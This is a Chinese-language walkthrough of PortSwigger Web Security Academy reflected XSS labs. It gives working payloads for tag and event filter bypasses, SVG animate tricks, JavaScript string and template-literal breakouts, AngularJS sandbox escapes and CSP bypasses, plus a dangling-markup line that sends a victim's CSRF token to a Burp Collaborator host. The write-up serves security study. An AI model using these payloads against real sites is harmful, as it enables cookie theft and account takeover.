reflected xss
-
reflected xss
- Reflected XSS into HTML context with nothing encoded
- Reflected XSS into HTML context with most tags and attributes blocked
- Reflected XSS into HTML context with all tags blocked except custom ones
- Reflected XSS with event handlers and href attributes blocked
- Reflected XSS with some SVG markup allowed
- Reflected XSS into attribute with angle brackets HTML-encoded
- Reflected XSS in canonical link tag
- Reflected XSS into a JavaScript string with single quote and backslash escaped
- Reflected XSS into a JavaScript string with angle brackets HTML encoded
- Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
- Reflected XSS in a JavaScript URL with some characters blocked
- Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
- Reflected XSS with AngularJS sandbox escape without strings
- Reflected XSS with AngularJS sandbox escape and CSP
- Reflected XSS protected by CSP, with dangling markup attack
- Reflected XSS protected by very strict CSP, with dangling markup attack
- Reflected XSS protected by CSP, with CSP bypass
Reflected XSS into HTML context with nothing encoded
-
题目要求
调用
alert
函数 -
解题过程
请求:
url/?search=asd
返回:
<h1>0 search result for ‘asd‘</h1>
发现参数
search
直接嵌入到了html里直接插入xss payload就型
<script>alert()</script>
Reflected XSS into HTML context with most tags and attributes blocked
-
题目描述
在搜索功能点可以xss,但是有waf
要求自动调用
alert(document.cookie)
-
解题过程
试了半天没有找到可以利用的标签,用burp测试
<$$>
发现
body
标签可用试了半天没有找到可以利用的时间,用burp测试
<body $$>
发现
onresize
标签可用查了一下,
onresize
在窗口被调整大小时调用构造payload:
<body onresize=alert(document.cookie)>
都弹窗了还是没有给过,才发现有个
Exploit Server
,是要构造csrf的payload:<iframe src="https://ac701fd21fa553d380da369500960007.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width=‘100px‘>
保存然后deliver exploit to victim即可
这里查了可调整窗口大小的js方法
window.resizeTo(x,y)
,但是不起作用,最后用了官方solution里的this.style.width=‘100px‘
,后来测试了一下,window
属性是原本页面的属性,不是iframe
的属性,所以无法激活onresize
函数 -
参考
标签/事件/payload字典:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Reflected XSS into HTML context with all tags blocked except custom ones
-
题目描述
过滤了除过自定义标签之外的所有HTML标签
要求
alert(document.cookie)
-
解题过程
自定义标签无法使用
onload
属性,去上到题用到的cheat-sheet查了一下,发现了这个payload:<xss id=x tabindex=1 onfocus=alert(document.cookie)></xss>
,但是不会弹窗,于是我加了个autofocus
<xss id=x tabindex=1 onfocus=alert(document.cookie) autofocus></xss>
这里
autofocus
起作用的原因在于tabindex
的意义,tabindex
是用来控制tab键的控制次序的,xss标签添加了tabindex
属性,让它本身具有了被autofocus
的功能(我的理解若有错误,欢迎指正)但是会无限弹窗 = =,手动f12跳过还是不给过,然后发现要去
Exploit Server
!!!ctmd真好,然后deliver之后还是不给过,应该是因为无限弹窗吧
去看了官方solution,用了锚(hash),很巧妙,给xss标签定义id为x,然后用
#
聚焦到锚点xpayload:
<script>location = "https://aca61f4e1f84997480181c8b0035004a.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>
Reflected XSS with event handlers and href
attributes blocked
-
题目描述
一些白名单里的标签可以xss,但是所有事件和
href
属性都被ban掉了要求通过点击调用
alert
函数 -
做题过程
用burp测了下白名单标签,有
<a> <animate> <discard> <image> <svg> <title>
<a href=javascript:alert()>Click</a>
测试发现,事件过滤的是
<x onxxx
,没什么用然后去搜索标签介绍的时候,看到了一篇利用
<animate>
标签xss的介绍[1],里面给的payload:<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
,但是payload里用到了href
,无法利用仔细读了一遍介绍,觉得
svg+animate+a
是可行的,然后继续去找相关的介绍,看到了第二篇介绍[2],这篇介绍里给了一个payload:<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javascript:alert(1)>
(有href属性,与题目环境不符),自己用phpstudy进行测试,很有意思,这个payload是利用animate
的attributeName
和values
属性给父标签赋值需要做的是用文字把
image
标签替换掉,这里试了很多种,但是都无法显示,觉得很奇怪(f12可以看到元素,但是页面没有显示),于是想到第一篇介绍payload里的text
标签,测试之后发现,svg
画布里,text
标签要有x,y
属性才会显示,然后配合animate
给父元素赋值的特性,构造payload:<svg><a><text x=20 y=20>Click me</text><animate attributeName=href values="javascript:alert()">
之后测试发现,
<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(1)>
,这个payload也可以,利用的是animate
的from,to
赋值特性还有个发现,text标签没有在burp给的标签列表里,得去添加上
-
参考
Reflected XSS with some SVG markup allowed
-
题目描述
站点过滤了一般标签和事件,但是一些SVG的标签和事件被忽略了
要求调用
alert
函数,(只能在Chrome中实现) -
解题过程
试了下上到提的payload,发现
animate
标签被ban了然后看了一下,发现
discard
没有被ban,去cheat-sheet搜payload,找到<svg><discard onbegin=alert(1)>
Reflected XSS into attribute with angle brackets HTML-encoded
-
题目描述
在搜索功能点可以xss,但是
<>
会被HTML编码要求调用
alert
函数 -
解题步骤
输了asd,查看页面变化
<input maxlength="600" type="text" placeholder="Search the blog..." name="search" value="asd">
可以看到关键词asd被潜入了value
构造payload:
" onfocus=alert() "
点击之后会一直弹窗,f12跳过之后不给过
换个payload:
" onmouseover=alert() "
Reflected XSS in canonical link tag
-
题目描述
站点会过滤
<>
并反弹用户在canonical link tag 里的输入要求调用
alert
函数提示:假设用户会按
ALT+SHIFT+X
,CTRL+ALT+X
,ALT+X
-
解题过程
先看了下元素
<link rel="canonical" href="https://ac001fe01fae00fd80342313000a00d3.web-security-academy.net/">
尝试的时候发现双引号被url编码了,但是单引号可以
payload:
url?asd%27accesskey=%27alt%2bshift%2bx%27onclick=%27alert(1)
Reflected XSS into a JavaScript string with single quote and backslash escaped
-
题目描述
在
search query tracking
功能点处可以xss,会编码单引号和反斜杠要求逃逸出js字符串,调用
alert
函数 -
解题过程
关键代码
<script> var searchTerms = ‘asd‘; document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘); </script>
这里涉及了html解析标签的机制,浏览器解析标签的顺序是:
遇到
<x>
考试标签,去寻找</x>
结束标签,然后才解析标签里的内容所以只需要直接嵌入结束标签即可
payload:
</script><img/src=x onerror=alert()>
Reflected XSS into a JavaScript string with angle brackets HTML encoded
-
题目描述
在
search query tracking
功能点处可以xss,会编码尖括号要求逃逸出js字符串,调用
alert
函数 -
解题过程
关键代码
<script> var searchTerms = ‘asd‘; document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘); </script>
没过滤单引号,直接闭合就可以
构造payload:
‘;alert()//
Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
-
题目描述
在
search query tracking
功能点处可以xss,尖括号和双引号会被HTML编码,单引号会addslash(转义,添加\
)要求逃逸出js字符串,调用
alert
函数 -
解题过程
因为只对单引号进行了addslash,所以可以在单引号前加一个
\
,就变成了\\‘
,单引号会正常表达构造payload:
\‘;alert()//
Reflected XSS in a JavaScript URL with some characters blocked
-
题目描述
为了防止xss,ban掉了一些字符,
要求调用
alert(1337)
-
解题步骤
点进一个blog,看源码,发现可以这块代码的url是可控的
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26asd‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
尝试过程:
- 限制条件:
- 路径是被URL编码过的
-
\
,()
,HTML实体编码被过滤了
想到了javascript后是js环境,考虑
//
注释,尝试过程中发现"
可以闭合href
考虑了利用html解析机制,但是过滤了HTML编码,最主要的是
=
会被url编码尝试了很多方法,都没法闭合前面圆括号里的语句,不闭合的话,点击链接浏览器会报错,onerror也不会被调用
去看了官方solution
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
这些字符虽然被url编码,但是仍能起作用,这才想起来!这是在
href
上下文里,会被url解码。核心在于
throw
的用法,利用捕获错误的语句,调用alert
函数 - 限制条件:
Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
-
题目描述
在搜索博客功能点可以xss,
<> ‘ " \ `
会被unicode编码要求调用
alert
函数 -
解题过程
关键代码
<script> var message = `0 search results for ‘sss‘`; document.getElementById(‘searchMessage‘).innerText = message; </script>
这道题我是没想到的,有个东西叫做js模板,相当于字符串里的占位符,但里面的代码可以执行,用法:
${code}
payload:
${alert()}
Reflected XSS with AngularJS sandbox escape without strings
-
题目描述
这道题用了
AngularJS
,在该环境里$eval
函数不可用,并且不能使用任何字符串( ???)要求调用
alert
函数 -
解题过程
AngularJS
的环境在[前面的题]里见到过,有现成的payload{{$on.constructor(‘alert(1)‘)()}}
- 关键代码
<script>angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) { $scope.query = {}; var key = ‘search‘; $scope.query[key] = ‘{{2*2}}‘; $scope.value = $parse(key)($scope.query);}); </script> <h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for {{2*2}}</h1>
用不了字符串,就需要把payload改造一下,但我改造不出来 = =
- 官方的solution
payload:
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
- 翻译:
这个exp使用了
toString()
函数来创建一个不需要引号的字符串,然后拿到String
的原型并重载charAt
函数,以此逃逸出沙盒环境(因为我们重载了charAt
函数,所以原生js的用法会被允许)。然后,一个数组被传递给orderBy
过滤器,我们使用toString()
来设置过滤器的参数,以此创建一个字符串以及一个字符串构造器的原型。最后,我们使用fromCharCode
方法生成我们的payload。-
我的理解:
-
构造payload:
重载把原本用于返回指定位置字符的
charAt
函数转换为join
函数之后的过滤器和
orderBy
把数组转换成了字符串利用构造器使用
fromCharCode
函数构造payload最后的
=1
是调用重载后的函数,把payload赋值给[1]
-
补充(文档说明)
AngularJS沙盒逃逸的方法有很多,最为熟知的是利用expression来重载
charAt()
。即:
‘a‘.constructor.prototype.charAt=[].join
AngularJS会执行该表达式,并重载
charAt()
函数,这将导致charAt()
函数会一次性返回所有传入的字符,而非单个的字符。由于AngularJS里isIdent()
函数(大概是检测输入字符是否合法的函数)的逻辑是比较传入字符与特定字符,而单个字符总是小与字符串,所以isIdent()
函数总会返回true
,进而可以任意代码执行。 -
利用:
angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) { $scope.query = {}; var key = ‘search‘; $scope.query[key] = ‘1‘; $scope.value = $parse(key)($scope.query); var key = ‘toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)‘; $scope.query[key] = ‘1‘; $scope.value = $parse(key)($scope.query); });
可以看到通过
1&payload
进行了参数污染,把payload赋值给了key,以便利用$parse
函数加载payload,太巧妙了
-
Reflected XSS with AngularJS sandbox escape and CSP
-
题目描述
这道题使用了CSP和AngularJS
要求 绕过CSP,逃逸AngularJS沙盒,并调用
alert(document.cookie)
CSP:Content Security Policy,内容安全策略,以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。
how-does-an-angularjs-csp-bypass-work:csp会禁止使用
Function
构造函数,并且会阻止js事件。但是AngularJS定义了它自己的事件,可以利用这个特性来绕过CSP。在Chrome中,$event/event
有一个特殊的属性path
,这个属性包含了一个可以造成事件被执行的对象的数组。这些对象里最后一个总会是window
对象,我们可以利用它来进行沙盒逃逸。通过把这个数组传递给过滤器orderBy
,我们可以枚举数组元素并使用window
对象来执行全局函数,例如alert()
,payload:<input autofocus ng-focus="$event.path|orderBy:‘[].constructor.from([1],alert)">
但是这道题会限制长度,上面的payload用不了,所以需要思考其他方法来隐藏
window
对象,方法之一是使用array.map()
函数,例如:[1].map(alert)
,map接收一个函数并通过数组中的每一个对象来调用 -
解题过程
文档给的提示已经足够多了,只需要组装payload即可
我最先想到的是
<input ng-focus=$event.path|orderBy:‘[1].map(alert)(document.cookie)‘>
但是无法弹窗,应该是
map()
的用法有问题修改后:
<input ng-focus="$event.path.map(alert)(document.cookie)">
去看了
map()
的介绍,修改了payload:<input ng-focus=$event.path.map(alert,documen.cookie)>
仍然无效,又试了很多种方式,都无效
去看了官方solution,payload如下:
<input id=x ng-focus=$event.path|orderBy:‘(x=alert)(document.cookie)‘>
我的理解是:根据
(x=alert)
进行排序,但是只有一个对象符合,进而执行
Reflected XSS protected by CSP, with dangling markup attack
-
题目描述
这道题使用了CSP来限制xss
要求盗取
csrf token
来修改另一个用户的邮箱地址 -
解题过程
看起来和
stored_xss
里最后一道一样,试了一下,被禁止跨域请求标题说了是标签注入的反射型xss,先去看看哪里可以xss,发现邮箱的
input
标签用的name
,name命名可以通过get传值验证:
https://ac931fc31e60f5f4808b184f00880021.web-security-academy.net/email?email=xss">
返回:
<input required="" type="email" name="email" value="xss"> <img src="x" onerror="alert()">
但是这里禁止了跨域加载资源,禁止了自定义函数,不知道怎么把这个
csrf token
传出去,看了solution,有点巧妙(放到exploit server)
?email=xss"><table%20background=‘//tkh0i1f2cwy0aj1e0yhmdf15uw0mob.burpcollaborator.net/?
利用单引号把后面的标签都当作get参数传给
Burp Collaborator
,就可以拿到token了之后使用burp自带的CSRF PoC生成器(在http请求报文里右键Engagement tools -> generate CSRF PoC),生成一个自动提交(右上角option里面选)的csrf表单,放到exploit server提交
Reflected XSS protected by very strict CSP, with dangling markup attack
暂留
Reflected XSS protected by CSP, with CSP bypass
暂留
? 笔者水平有限,如果所述有错误,欢迎指正交流。